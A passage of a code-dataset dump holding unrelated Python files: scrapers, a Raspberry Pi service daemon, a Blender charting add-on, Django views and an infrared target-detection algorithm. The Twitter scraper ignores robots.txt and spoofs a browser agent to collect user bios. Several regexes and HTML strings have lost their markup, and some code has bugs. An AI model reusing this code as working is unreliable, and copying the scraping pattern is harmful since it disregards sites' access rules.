19, 'Romance': 20, 'Sci-Fi': 21,\n 'Sport': 22, 'Talk-Show': 23, 'Thriller': 24, 'War': 25, 'Western': 26}\n\nif isinstance(genres, str):\n movie_genres_rows.append([mid, genres_dict.get(genres)])\nelse:\n for genre in genres:\n movie_genres_rows.append([mid, genres_dict.get(genre)])\n\nfor director in directors:\n people_rows.append([director['pid'], director['name']])\nfor writer in writers:\n people_rows.append([writer['pid'], writer['name']])\nfor actor in actors:\n people_rows.append([actor['pid'], actor['name']])\n\nfor director in directors:\n movie_credits_rows.append([mid, director['pid'], 1, None, None])\nfor writer in writers:\n movie_credits_rows.append([mid, writer['pid'], 2, writer['credit'], None])\nfor actor in actors:\n movie_credits_rows.append([mid, actor['pid'], 3, None, actor['character']])\n\n# Writing csv files\nwith open('scapingmovies.csv', 'w') as f:\n writer = csv.writer(f)\n writer.writerows(movies_rows)\nwith open('movie_genres.csv', 'w') as f:\n writer = csv.writer(f)\n writer.writerows(movie_genres_rows)\nwith open('people.csv', 'w') as f:\n writer = csv.writer(f)\n writer.writerows(people_rows)\nwith open('movie_credits.csv', 'w') as f:\n writer = csv.writer(f)\n writer.writerows(movie_credits_rows)\n\nmovie_data = {'mid': mid, 'title': title, 'release_date': release_date, 'summary': summary, 'directors': directors, 'writers': writers,\n 'actors': actors, 'genres': genres, 'runtime': runtime, 'rating': rating, 'num_votes': num_votes}\njson_object = json.dumps(movie_data, indent=4)\n# Writing json into a file\nwith open(mid + \".json\", \"w\") as f:\n f.write(json_object)\nprint('Done !')\n","sub_path":"src/scraper/scraper.py","file_name":"scraper.py","file_ext":"py","file_size_in_byte":5321,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"210057674","text":"## HKPR ##\n#\n\n# initiate python environment\n\nimport settings\nimport sys\nimport Services\nimport atexit\nimport RPi.GPIO as GPIO\nfrom time import sleep\nfrom datetime import datetime\nfrom utilities import coroutine, getIP\nfrom itertools import ifilterfalse\nfrom itertools import imap\nfrom pwd import getpwnam\nfrom os import seteuid, setegid, chdir, getuid, getpid, remove\nimport os.path\n\n\"\"\"\ncheck settings.BRAINHOST to see if we are it\nnet_ip = subprocess.call((\n '''ifconfig | grep -A3 %s | grep --max-count=1 inet | \n cut -d':' -f2 | cut -d' ' -f1''' % \n (settings.ETHDEVICE,)).split(' ')\n)\nif so, run daemon mode\nthis means services that need to run in a central location.\n\"\"\"\n\nif getuid() != 0:\n sys.exit(1)\n\nSERVICES = {}\nif getIP('eth0') == settings.BRAINHOST:\n s_list = settings.BRAINSERVICES\nelse:\n s_list = settings.LOCALSERVICES\nSERVICES.update({\n name: Services.__dict__[name].Daemon()\n for name in s_list\n})\n\n\nPID_FILE = os.path.join(settings.PROGDIR, '/run/tailwatchd.pid')\nwith open(PID_FILE, 'w') as f:\n f.write(getpid())\n\n\nchdir(settings.PROGDIR)\n\n\"\"\"\nsys.path = [\n '',\n '/usr/lib/python2.7',\n '/usr/lib/python2.7/dist-packages',\n '/usr/lib/python2.7/lib-dynload',\n settings.PROGDIR,\n]\n\"\"\"\n\n\nUID, GID = getpwnam('hksrvd')[2:4]\n\nseteuid(UID)\nsetegid(GID)\n\n\ndef check(service):\n \"\"\"\n Checks for services that are down, returns a tuple of (service,status)\n where service is the object and status is a boolean.\n \"\"\" \n name = service.__class__.__name__\n if service == None:\n return False\n elif service.is_alive():\n status = True\n else:\n status = False\n log(name, 'is down')\n return status\n\ndef start(name):\n \"\"\"\n Starts the specified service, where name is a string. Returns\n the service object, or None if it could not be started.\n \"\"\"\n try:\n with utilities.Perms.Elevate(UID):\n service = Services.__dict__[name].Daemon()\n service.start()\n message = 'started successfully'\n except:\n service = None\n message = 'could not be started'\n finally:\n log(name, message)\n return service\n\ndef log(name, message):\n \"\"\"\n Logs issues with services\n \"\"\"\n time_stamp = datetime.now()\n #(path.join(settings.PROGDIR, 'logs/services.log'))\n # log entry\n entry = (\n '%s[SERVICE]: %s %s'\n (time_stamp, name, message)\n )\n #(path.join(settings.PROGDIR, 'logs/main.log'))\n #log entry\n return None\n\n\ndef main():\n # maybe convert this to a remove style service?\n SERVICES.update({\n name: start(service)\n for name,service in SERVICES.iteritems() \n if check(service) == False\n })\n\ndef shutdown():\n # stop all services, log issues\n for service in SERVICES.values():\n try:\n service.stop()\n message = 'service stopped successfully'\n except:\n if 'terminate' in dir(service):\n try:\n service.terminate()\n message = 'service stopped successfully'\n except:\n message = 'could not be stopped [possible zombie]'\n else:\n message = 'could not be stopped [possible zombie]'\n finally:\n log(service.__name__, message)\n # clean up GPIO pins\n map(GPIO.cleanup, (x for x in xrange(1,40,1)))\n remove('/var/run/hkpr/tailwatchd.pid')\n #TODO: try to close all child/zombie processes\n\n\natexit.register(shutdown)\n\n\nwhile True:\n try:\n main()\n except:\n sys.exit(0)\n sleep(.05)\n","sub_path":"tailwatchd.py","file_name":"tailwatchd.py","file_ext":"py","file_size_in_byte":3613,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"11530763","text":"bl_info = {\n 'name': 'Data Vis',\n 'author': 'Zdenek Dolezal',\n 'description': 'Data visualisation addon',\n 'blender': (2, 80, 0),\n 'version': (1, 3, 2),\n 'location': 'Object -> Add Mesh',\n 'warning': '',\n 'category': 'Generic'\n}\n\nimport bpy\nimport bpy.utils.previews\nimport os\nimport subprocess\nimport sys\n\nfrom .operators.data_load import FILE_OT_DVLoadFile\nfrom .operators.bar_chart import OBJECT_OT_BarChart\nfrom .operators.line_chart import OBJECT_OT_LineChart\nfrom .operators.pie_chart import OBJECT_OT_PieChart\nfrom .operators.point_chart import OBJECT_OT_PointChart\nfrom .operators.surface_chart import OBJECT_OT_SurfaceChart\nfrom .general import DV_LabelPropertyGroup, DV_ColorPropertyGroup, DV_AxisPropertyGroup, DV_AnimationPropertyGroup, DV_HeaderPropertyGroup\nfrom .data_manager import DataManager\n\npreview_collections = {}\ndata_manager = DataManager()\n\n\nclass OBJECT_OT_InstallModules(bpy.types.Operator):\n '''Operator that tries to install scipy and numpy using pip into blender python'''\n bl_label = 'Install addon dependencies'\n bl_idname = 'object.install_modules'\n bl_options = {'REGISTER'}\n\n def execute(self, context):\n version = '{}.{}'.format(bpy.app.version[0], bpy.app.version[1])\n\n python_path = os.path.join(os.getcwd(), version, 'python', 'bin', 'python')\n try:\n self.install(python_path)\n except Exception as e:\n self.report({'ERROR'}, 'Error ocurred, try to install dependencies manually. \\n Exception: {}'.format(str(e)))\n return {'FINISHED'}\n\n def install(self, python_path):\n import platform\n\n info = ''\n bp_pip = -1\n bp_res = -1\n\n p_pip = -1\n p_res = -1\n\n p3_pip = -1\n p3_res = -1\n try:\n bp_pip = subprocess.check_call([python_path, '-m', 'ensurepip', '--user'])\n bp_res = subprocess.check_call([python_path, '-m', 'pip', 'install', '--user', 'scipy'])\n except OSError as e:\n info = 'Python in blender folder failed: ' + str(e) + '\\n'\n\n if bp_pip != 0 or bp_res != 0:\n if platform.system() == 'Linux':\n try:\n p_pip = subprocess.check_call(['python', '-m', 'ensurepip', '--user'])\n p_res = subprocess.check_call(['python', '-m', 'pip', 'install', '--user', 'scipy'])\n except OSError as e:\n info += 'Python in PATH failed: ' + str(e) + '\\n'\n\n if p_pip != 0 or p_res != 0: \n try:\n # python3\n p3_pip = subprocess.check_call(['python3', '-m', 'ensurepip', '--user'])\n p3_res = subprocess.check_call(['python3', '-m', 'pip', 'install', '--user', 'scipy'])\n except OSError as e:\n info += 'Python3 in PATH failed: ' + str(e) + '\\n'\n\n # if one approach worked\n if (bp_pip == 0 and bp_res == 0) or (p_pip == 0 and p_res == 0) or (p3_pip == 0 and p3_res == 0):\n self.report({'INFO'}, 'Scipy module should be succesfully installed, restart Blender now please! (Best effort approach)')\n else:\n raise Exception('Failed to install pip or scipy into blender python:\\n' + str(info))\n\n\nclass DV_AddonPanel(bpy.types.Panel):\n '''Menu panel used for loading data and managing addon settings'''\n bl_label = 'DataVis'\n bl_idname = 'DV_PT_data_load'\n bl_space_type = 'VIEW_3D'\n bl_region_type = 'UI'\n bl_category = 'DataVis'\n\n def draw(self, context):\n layout = self.layout\n\n row = layout.row()\n row.operator('ui.dv_load_data')\n\n box = layout.box()\n box.label(icon='WORLD_DATA', text='Data Information:')\n filename = data_manager.get_filename()\n if filename == '':\n box.label(text='File: No file loaded')\n else:\n box.label(text='File: ' + str(filename))\n box.label(text='Dims: ' + str(data_manager.dimensions))\n box.label(text='Labels: ' + str(data_manager.has_labels))\n lines = data_manager.lines\n if lines >= 150:\n lines = str(lines) + ' Warning (performace)!'\n else:\n lines = str(lines) \n box.label(text='Lines: ' + lines)\n box.label(text='Type: ' + str(data_manager.predicted_data_type))\n\n\ndef update_space_type(self, context):\n try:\n if hasattr(bpy.types, 'DV_PT_data_load'):\n bpy.utils.unregister_class(DV_AddonPanel)\n DV_AddonPanel.bl_space_type = self.ui_space_type\n bpy.utils.register_class(DV_AddonPanel)\n except Exception as e:\n print('Setting Space Type error: ', str(e))\n\n\ndef update_category(self, context):\n try:\n if hasattr(bpy.types, 'DV_PT_data_load'):\n bpy.utils.unregister_class(DV_AddonPanel)\n DV_AddonPanel.bl_category = self.ui_category\n bpy.utils.register_class(DV_AddonPanel)\n except Exception as e:\n print('Setting Category error: ', str(e))\n\n\ndef update_region_type(self, context):\n try:\n if hasattr(bpy.types, 'DV_PT_data_load'):\n bpy.utils.unregister_class(DV_AddonPanel)\n DV_AddonPanel.bl_region_type = self.ui_region_type\n bpy.utils.register_class(DV_AddonPanel)\n except Exception as e:\n print('Setting Region Type error: ', str(e))\n\n\nclass DV_Preferences(bpy.types.AddonPreferences):\n '''Preferences for data visualisation addon'''\n bl_idname = 'data_vis'\n\n ui_region_type: bpy.props.StringProperty(\n name='Region Type',\n default='UI',\n update=update_region_type\n )\n ui_space_type: bpy.props.StringProperty(\n name='Space Type',\n default='VIEW_3D',\n update=update_space_type\n )\n\n ui_category: bpy.props.StringProperty(\n name='Panel Category',\n default='DataVis',\n update=update_category\n )\n\n def draw(self, context):\n layout = self.layout\n box = layout.box()\n box.label(text='Python dependencies', icon='PLUS')\n row = box.row()\n row.scale_y = 2.0\n try:\n import scipy\n import numpy\n row.label(text='Dependencies already installed...')\n except ImportError:\n row.operator('object.install_modules')\n row = box.row()\n version = '{}.{}'.format(bpy.app.version[0], bpy.app.version[1])\n row.label(text='Or use pip to install scipy into python which Blender uses!')\n row = box.row()\n row.label(text='Blender has to be restarted after this process!')\n\n box = layout.box()\n box.label(text='Customize position of addon panel', icon='TOOL_SETTINGS')\n box.prop(self, 'ui_region_type')\n box.prop(self, 'ui_space_type')\n box.prop(self, 'ui_category')\n box.label(text='Check console for possible errors!', icon='ERROR')\n\n\nclass OBJECT_OT_AddChart(bpy.types.Menu):\n '''\n Menu panel grouping chart related operators in Blender AddObject panel\n '''\n bl_idname = 'OBJECT_MT_Add_Chart'\n bl_label = 'Chart'\n\n def draw(self, context):\n layout = self.layout\n main_icons = preview_collections['main']\n layout.operator(OBJECT_OT_BarChart.bl_idname, icon_value=main_icons['bar_chart'].icon_id)\n layout.operator(OBJECT_OT_LineChart.bl_idname, icon_value=main_icons['line_chart'].icon_id)\n layout.operator(OBJECT_OT_PieChart.bl_idname, icon_value=main_icons['pie_chart'].icon_id)\n layout.operator(OBJECT_OT_PointChart.bl_idname, icon_value=main_icons['point_chart'].icon_id)\n layout.operator(OBJECT_OT_SurfaceChart.bl_idname, icon_value=main_icons['surface_chart'].icon_id)\n\n\ndef chart_ops(self, context):\n icon = preview_collections['main']['addon_icon']\n self.layout.menu(OBJECT_OT_AddChart.bl_idname, icon_value=icon.icon_id)\n\n\ndef load_icons():\n '''Loads pngs from icons folder into preview_collections['main']'''\n pcoll = bpy.utils.previews.new()\n\n icons_dir = os.path.join(os.path.dirname(__file__), 'icons')\n for icon in os.listdir(icons_dir):\n name, ext = icon.split('.')\n if ext == 'png':\n pcoll.load(name, os.path.join(icons_dir, icon), 'IMAGE')\n\n preview_collections['main'] = pcoll\n\n\ndef remove_icons():\n '''Clears icons collection'''\n for pcoll in preview_collections.values():\n bpy.utils.previews.remove(pcoll)\n preview_collections.clear()\n\n\nclasses = [\n DV_Preferences,\n OBJECT_OT_InstallModules,\n DV_LabelPropertyGroup,\n DV_ColorPropertyGroup,\n DV_AxisPropertyGroup,\n DV_AnimationPropertyGroup,\n DV_HeaderPropertyGroup,\n OBJECT_OT_AddChart,\n OBJECT_OT_BarChart,\n OBJECT_OT_PieChart,\n OBJECT_OT_PointChart,\n OBJECT_OT_LineChart,\n OBJECT_OT_SurfaceChart,\n FILE_OT_DVLoadFile,\n DV_AddonPanel,\n]\n\n\ndef reload():\n unregister()\n register()\n\n\ndef register():\n load_icons()\n for c in classes:\n bpy.utils.register_class(c)\n\n bpy.types.VIEW3D_MT_add.append(chart_ops)\n\n\ndef unregister():\n remove_icons()\n for c in reversed(classes):\n bpy.utils.unregister_class(c)\n bpy.types.VIEW3D_MT_add.remove(chart_ops)\n\n\nif __name__ == '__main__':\n register()\n","sub_path":"data_vis/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":9301,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"616220018","text":"import mechanize\nimport re\nimport csv\n\n\nclass UserData:\n\t\"\"\"\n\thandle -- user's handle (prepended by @)\n\tname -- user's name\n\tbio -- user's bio\n\t\"\"\"\n\tdef __init__(self, handle, name, bio, category, source):\n\t\tself.handle = handle\n\t\tself.name = name\n\t\tself.bio = bio\n\t\tself.category = category\n\t\tself.source = source\n\n\tdef as_list(self):\n\t\treturn [self.handle, self.name, self.bio, self.category, self.source]\n\n\tdef __str__(self):\n\t\t\", \".join(self.as_list())\n\n\n# Creates the user objects from the\ndef generate_users():\n\tbr = mechanize.Browser()\n\tbr.set_handle_robots(False)\n\tbr.addheaders = [('User-agent', 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008071615 Fedora/3.0.1-1.fc9 Firefox/3.0.1')]\n\tenglish_words = set([])\n\twith open(\"/usr/share/dict/words\", \"r\") as f:\n\t\tfor line in f:\n\t\t\tline = line.strip()\n\t\t\tenglish_words.add(line)\n\tsource_list = [\"http://twellow.com\", \"http://tweepz.com\", \"http://wefollow.com/\"]\n\tcategory_list = [\"politics\", \"democrat\", \"republican\", \"liberal\", \"conservative\", \"libertarian\"]\n\tuser_list = {}\n\tfor source in source_list:\n\t\tif source == source_list[0]:\n\t\t\t# Regexes to extract Twitter handles, user names, and bios from page\n\t\t\thandle_regex = re.compile(r\"\\((@\\w+)\\)\")\n\t\t\tname_regex = re.compile(r\"([^<]+)<\")\n\t\t\tbio_regex = re.compile(r\"\\s*(.*?)\\s*\\s*
     
    \", re.DOTALL)\n\t\telif source == source_list[1]:\n\t\t\t# Regexes to extract Twitter handles, user names, and bios from page\n\t\t\thandle_regex = re.compile(r\"\\((@\\w+)\\)\")\n\t\t\tname_regex = re.compile(r\"
    ([^<]+)<\")\n\t\t\tbio_regex = re.compile(r\"(.*?)\", re.DOTALL)\n\t\telif source == source_list[2]:\n\t\t\t# Regexes to extract Twitter handles, user names, and bios from page\n\t\t\thandle_regex = re.compile(r\"target=\\\"_blank\\\">(.*?)\")\n\t\t\tname_regex = re.compile(r\"

    ([^<]+)<\")\n\t\t\tbio_regex = re.compile(r\"

    \\s*(.*?)\\s*

    \", re.DOTALL)\n\t\tfor category in category_list:\n\t\t\tfor pg in (xrange(1, 20)):\n\t\t\t\tuser_added = 0;\n\n\t\t\t\t# TWELLOW\n\t\t\t\tif source == source_list[0]:\n\t\t\t\t\t# Paginates through the Politics category\n\t\t\t\t\tresponse = br.open(\"http://twellow.com/categories/%s?p=%d\" % (category, pg))\n\t\t\t\t\tpage_source = response.read()\n\t\t\t\t\t# User entry delimiter\n\t\t\t\t\tdelimiter = \"\"\"
    \"\"\"\n\n\t\t\t\t# TWEEPZ #1\n\t\t\t\telif source == source_list[1]:\n\t\t\t\t\t# Paginates through the Politics category\n\t\t\t\t\tresponse = br.open(\"http://tweepz.com/search?q=%s&followers=10000&p=%d\" % (category, pg))\n\t\t\t\t\tpage_source = response.read()\n\t\t\t\t\t# User entry delimiter\n\t\t\t\t\tdelimiter = \"\"\"
    \"\"\"\n\n\t\t\t\t# TWEEPZ #2\n\t\t\t\telif source == source_list[1]:\n\t\t\t\t\t# Paginates through the Politics category\n\t\t\t\t\tresponse = br.open(\"http://tweepz.com/search?q=%s&followers=5000-10000&p=%d\" % (category, pg))\n\t\t\t\t\tpage_source = response.read()\n\t\t\t\t\t# User entry delimiter\n\t\t\t\t\tdelimiter = \"\"\"
    \"\"\"\n\n\t\t\t\t# TWEEPZ #3\n\t\t\t\telif source == source_list[1]:\n\t\t\t\t\t# Paginates through the Politics category\n\t\t\t\t\tresponse = br.open(\"http://tweepz.com/search?q=%s&followers=2000-5000&p=%d\" % (category, pg))\n\t\t\t\t\tpage_source = response.read()\n\t\t\t\t\t# User entry delimiter\n\t\t\t\t\tdelimiter = \"\"\"
    \"\"\"\n\n\t\t\t\t# WEFOLLOW\n\t\t\t\telif source == source_list[2]:\n\t\t\t\t\t# Paginates through the Politics category\n\t\t\t\t\tif pg == 1:\n\t\t\t\t\t\tresponse = br.open(\"http://wefollow.com/interest/%s/50-100/\" % (category))\n\t\t\t\t\telse:\n\t\t\t\t\t\tresponse = br.open(\"http://wefollow.com/interest/%s/50-100/page%d\" % (category, pg))\n\t\t\t\t\tpage_source = response.read()\n\t\t\t\t\t# User entry delimiter\n\t\t\t\t\tdelimiter = \"\"\"
    \"\"\"\n\n\t\t\t\tfor entry in page_source.split(delimiter)[1:]:\n\t\t\t\t\tuser_added = 1;\n\t\t\t\t\t# Generates a user object using the regexes\n\t\t\t\t\thandle = handle_regex.findall(entry)[0]\n\t\t\t\t\tname = name_regex.findall(entry)[0]\n\t\t\t\t\tret = bio_regex.findall(entry)\n\t\t\t\t\t# case where there is a bio\n\t\t\t\t\tif ret:\n\t\t\t\t\t\tbio = ret[0]\n\t\t\t\t\telse:\n\t\t\t\t\t\tbio = \"\"\n\t\t\t\t\t# case where bio has < 60% english words\n\t\t\t\t\ti = 0\n\t\t\t\t\tj = 0\n\t\t\t\t\tfor word in re.split('\\\\W+', bio):\n\t\t\t\t\t\tif not word:\n\t\t\t\t\t\t\tcontinue\n\t\t\t\t\t\tif word in english_words:\n\t\t\t\t\t\t\ti+=1\n\t\t\t\t\t\tj+=1\n\t\t\t\t\tif len(bio) > 7 and not j:\n\t\t\t\t\t\tcontinue\n\t\t\t\t\tif j and 1.0 * i/j < 0.7:\n\t\t\t\t\t\tcontinue\n\t\t\t\t\t# check for duplicate handles\n\t\t\t\t\tif handle in user_list:\n\t\t\t\t\t\tobj = user_list[handle]\n\t\t\t\t\t\tif obj.category != category:\n\t\t\t\t\t\t\tobj.category = \", \".join((obj.category, category))\n\t\t\t\t\t\tif obj.source != source:\n\t\t\t\t\t\t\tobj.source = \", \".join((obj.source, source))\n\t\t\t\t\telse:\n\t\t\t\t\t\tuser = UserData(handle, name, bio, category, source)\n\t\t\t\t\t\tuser_list[handle] = user\n\t\t\t\tif user_added != 1:\n\t\t\t\t\tbreak\n\treturn user_list\n\ndef dump_users(user_list):\n\twith open(\"../udp.csv\", \"wb\") as f:\n\t\twriter = csv.writer(f)\n\t\tfor user in user_list.values():\n\t\t\twriter.writerow(user.as_list())\n\n\nif __name__ == \"__main__\":\n\tdump_users(generate_users())\n","sub_path":"politics/code/get_users.py","file_name":"get_users.py","file_ext":"py","file_size_in_byte":4982,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"538459386","text":"from django.shortcuts import render\nfrom django.http import HttpResponse, JsonResponse\nfrom django.views.decorators.cache import cache_page\n\n\ndef aicruiser_init(request):\n from .create_tables import init_aicruser_db\n init_aicruser_db()\n return HttpResponse(\"格式化成功\")\n\n@cache_page(60 * 3)\ndef aicruiser_lists(request):\n from proj.utils import from_sql_get_data\n sql = \"\"\"select * from self_cruiser;\"\"\"\n datas = from_sql_get_data(sql)[\"data\"]\n\n res = []\n for i in range(len(datas)):\n temp = []\n if datas[i][\"level\"] == \"高危\":\n temp.append(\"高危紧急\")\n else:\n temp.append(\"\")\n temp.append(datas[i][\"start_time\"])\n temp.append(datas[i][\"msg\"])\n temp.append(datas[i][\"src_ip\"])\n temp.append(datas[i][\"sport\"])\n temp.append(\"\"\"处置\"\"\".format(id=datas[i][\"id\"]))\n\n res.append(temp)\n\n return JsonResponse({'res': res})\n\n\ndef get_the_latest_vulner_lists():\n from proj.utils import from_sql_get_data\n\n sql = \"\"\"select vulner_temp.*, t2.id as id\n from (select * from vulner_temp\n where task_id = (select task_id from scan_task_temp\n where t_status=2 and t_ecode=0 and t_progress=100 and has_results > 0\n order by t_update_time desc limit 1) ) as vulner_temp\n left join eid_connect_cruiser_id as t2\n on vulner_temp.uniq_id = t2.vulner_id order by vulner_temp.threat_code desc;\"\"\"\n\n datas = from_sql_get_data(sql)[\"data\"]\n\n res = []\n for i in range(len(datas)):\n temp = []\n # NOte: 可以在这个位置增加上已完成处理等的标签; 目前省略掉了。\n if int(datas[i][\"threat_code\"]) > 1:\n temp.append(\"高危紧急\")\n else:\n temp.append(\"\")\n temp.append(datas[i][\"add_time\"])\n temp.append(datas[i][\"vulner_name\"])\n temp.append(datas[i][\"ip\"])\n temp.append(datas[i][\"port\"])\n temp.append(\"\"\"处置\"\"\".format(id=datas[i][\"id\"]))\n\n res.append(temp)\n return res\n\n\ndef vulner_lists(request):\n ###### 记录的是置顶的12条\n # from proj.managements.top_views_utils import top_aicruser_lists\n # new_res = top_aicruser_lists()\n # # new_res.extend([])\n # new_res.extend(get_the_latest_vulner_lists())\n\n return JsonResponse({'res': get_the_latest_vulner_lists()})\n","sub_path":"proj/aicruiser/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2699,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"350174633","text":"import zeit.content.article.edit.browser.testing\n\n\nclass Form(zeit.content.article.edit.browser.testing.BrowserTestCase):\n\n block_type = 'puzzleform'\n\n def test_puzzle_inline_form_saves_values(self):\n self.get_article(with_empty_block=True)\n b = self.browser\n b.open(\n 'editable-body/blockname/@@edit-%s?show_form=1' % self.block_type)\n b.getControl('Puzzle').displayValue = ['Scrabble']\n b.getControl('Year').value = '2099'\n b.getControl('Apply').click()\n b.open('@@edit-%s?show_form=1' % self.block_type) # XXX\n self.assertEqual(['Scrabble'], b.getControl('Puzzle').displayValue)\n self.assertEqual('2099', b.getControl('Year').value)\n","sub_path":"core/src/zeit/content/article/edit/browser/tests/test_puzzleform.py","file_name":"test_puzzleform.py","file_ext":"py","file_size_in_byte":717,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"163765462","text":"from detectors.base import *\r\n\r\n\r\nclass IPI(BaseDetector):\r\n def __init__(self):\r\n super(IPI, self).__init__()\r\n self.options = {'dw': 50, 'dh': 50, 'x_step': 10, 'y_step': 10}\r\n\r\n def mat2gray(self, image):\r\n return (image - np.min(image)) / np.ptp(image)\r\n\r\n def process(self, image):\r\n m, n = image.shape\r\n\r\n # 构造块图像\r\n D = []\r\n for i in range(0, m - self.options['dh'] + 1, self.options['y_step']):\r\n for j in range(0, n - self.options['dw'] + 1, self.options['x_step']):\r\n D.append(image[i:i + self.options['dh'], j:j + self.options['dw']].flatten('F')) # 'F'按列展开\r\n D_array = np.array(D).T\r\n D_normalized = self.mat2gray(D_array) # 块图像归一化\r\n\r\n # 用APG算法从D中分解出目标图像E1和背景图像A1\r\n Lambda = 1 / np.sqrt(max(m, n))\r\n A1, E1 = self.APG_IR(D_normalized, Lambda)\r\n\r\n # 块图像重构目标图像E_hat\r\n # AA = np.zeros((m, n, 100))\r\n EE = np.zeros((m, n, 100))\r\n\r\n index = 0\r\n C = np.zeros(image.shape)\r\n # A_hat = np.zeros(image.shape)\r\n E_hat = np.zeros(image.shape)\r\n\r\n for i in range(0, m - self.options['dh'] + 1, self.options['y_step']):\r\n for j in range(0, n - self.options['dw'] + 1, self.options['x_step']):\r\n # temp = A1[:, index].reshape((self.options['dw'], self.options['dh'])).T\r\n temp1 = E1[:, index].reshape((self.options['dw'], self.options['dh'])).T\r\n C[i:i + self.options['dh'], j:j + self.options['dw']] += 1 # 记录每个像素点重叠的次数(被滑动窗口遍历的次数)\r\n index += 1\r\n for ii in range(i, i + self.options['dh']):\r\n for jj in range(j, j + self.options['dw']):\r\n # AA[ii, jj, int(C[ii, jj]) - 1] = temp[ii - i, jj - j]\r\n EE[ii, jj, int(C[ii, jj]) - 1] = temp1[ii - i, jj - j]\r\n\r\n for i in range(m):\r\n for j in range(n):\r\n if C[i, j] > 0:\r\n # A_hat[i, j] = np.median(AA[i, j, :int(C[i, j])])\r\n E_hat[i, j] = np.median(EE[i, j, :int(C[i, j])])\r\n\r\n self._result = E_hat\r\n\r\n def APG_IR(self, D, Lambda, maxIter=1e4, tol=1e-7, lineSearchFlag=0,\r\n continuationFlag=1, eta=.9, mu=1e-3, outputFileName=None):\r\n \"\"\"\r\n Input:\r\n D: (np.array, dtype=uint8) m x n matrix of observations/data\r\n Lambda: (float) weight on sparse error term in the cost function\r\n tol: (float) tolerance for stopping criterion, DEFAULT 1e-7\r\n maxIter: (int) maximum number of iterations, DEFAULT 10000\r\n lineSearchFlag: 1 if line search is to be done every iteration, DEFAULT 0\r\n continuationFlag: 1 if a continuation is to be done on the parameter mu\r\n DEFAULT 1\r\n eta: (float) (0,1) line search parameter, ignored if lineSearchFlag is 0,\r\n DEFAULT 0.9\r\n mu: relaxation parameter, ignored if continuationFlag is 1, DEFAULT 1e-3\r\n outputFileName: (str) Details of each iteration are dumped here, if provided\r\n Output:\r\n X_k_A: estimates for the low-rank part\r\n X_k_E:estimates for the error part\r\n \"\"\"\r\n\r\n if outputFileName is not None:\r\n output_file = open(outputFileName, 'w')\r\n\r\n DISPLAY_EVERY = 20\r\n DISPLAY = 0\r\n\r\n m, n = D.shape\r\n t_k = 1\r\n t_km1 = 1\r\n tau_0 = 2 # square of Lipschitz constant for the RPCA problem\r\n\r\n X_km1_A = np.zeros(D.shape)\r\n X_km1_E = np.zeros(D.shape) # X^{k-1} = (A^{k-1},E^{k-1})\r\n X_k_A = np.zeros(D.shape)\r\n X_k_E = np.zeros(D.shape) # X^{k} = (A^{k},E^{k})\r\n\r\n U, s, V = np.linalg.svd(D, full_matrices=False)\r\n mu_k = s[1]\r\n mu_bar = .005 * s[3]\r\n tau_k = tau_0\r\n converged = 0\r\n numIter = 0\r\n NOChange_counter = 0\r\n pre_rank = 0\r\n pre_cardE = 0\r\n\r\n while not converged:\r\n Y_k_A = X_k_A + ((t_km1 - 1) / t_k) * (X_k_A - X_km1_A)\r\n Y_k_E = X_k_E + ((t_km1 - 1) / t_k) * (X_k_E - X_km1_E)\r\n G_k_A = Y_k_A - (1. / tau_k) * (Y_k_A + Y_k_E - D)\r\n G_k_E = Y_k_E - (1. / tau_k) * (Y_k_A + Y_k_E - D)\r\n\r\n U, s, V = np.linalg.svd(G_k_A, full_matrices=False)\r\n X_kp1_A = np.dot(np.dot(U, np.diag(self.pos(s - mu_k / tau_k))), V)\r\n X_kp1_E = np.sign(G_k_E) * self.pos(np.abs(G_k_E) - Lambda * mu_k / tau_k)\r\n\r\n rankA = np.sum(s > mu_k / tau_k)\r\n cardE = np.sum(np.sum((np.abs(X_kp1_E) > 0).astype(np.float32)))\r\n\r\n t_kp1 = 0.5 * (1 + np.sqrt(1 + 4 * t_k * t_k))\r\n temp = X_kp1_A + X_kp1_E - Y_k_A - Y_k_E\r\n S_kp1_A = tau_k * (Y_k_A - X_kp1_A) + temp\r\n S_kp1_E = tau_k * (Y_k_E - X_kp1_E) + temp\r\n\r\n norm_S = np.linalg.norm(\r\n np.concatenate((S_kp1_A, S_kp1_E), axis=1), ord='fro')\r\n norm_X = np.linalg.norm(\r\n np.concatenate((X_kp1_A, X_kp1_E), axis=1), ord='fro')\r\n stoppingCriterion = norm_S / (tau_k * max(1., norm_X))\r\n if stoppingCriterion <= tol:\r\n converged = 1\r\n if continuationFlag:\r\n mu_k = max(0.9 * mu_k, mu_bar)\r\n\r\n t_km1 = t_k\r\n t_k = t_kp1\r\n X_km1_A = X_k_A\r\n X_km1_E = X_k_E\r\n X_k_A = X_kp1_A\r\n X_k_E = X_kp1_E\r\n numIter += 1\r\n\r\n ########################################################################\r\n # The iteration process can be finished if the rank of A keeps the same\r\n # many times\r\n\r\n if pre_rank == rankA:\r\n NOChange_counter += 1\r\n if NOChange_counter > 10 and np.abs(cardE - pre_cardE) < 20:\r\n converged = 1\r\n else:\r\n NOChange_counter = 0\r\n pre_cardE = cardE\r\n pre_rank = rankA\r\n ########################################################################\r\n # In practice, the APG algorithm, sometimes, cannot get a strictly\r\n # low-rank matrix A_hat after iteration process. Many singular valus of\r\n # the obtained matrix A_hat, however, are extremely small. This can be\r\n # considered to be low-rank to a certain extent. Experimental results\r\n # show that the final recoverd backgournd image and target image are\r\n # good. Alternatively, we can make the rank of matrix A_hat lower using\r\n # the following truncation. This trick can make the APG algorithm faster\r\n # and the performance of our algorithm is still satisfied. Here we set\r\n # the truncated threshold as 0.3, while it can be adaptively set based\r\n # on your actual scenarios.\r\n if rankA > 0.3 * min(m, n):\r\n converged = 1\r\n ########################################################################\r\n if DISPLAY and numIter % DISPLAY_EVERY == 0:\r\n print('Iteration ', numIter, ' rank(A) ', rankA, ' ||E||_0 ', cardE)\r\n if 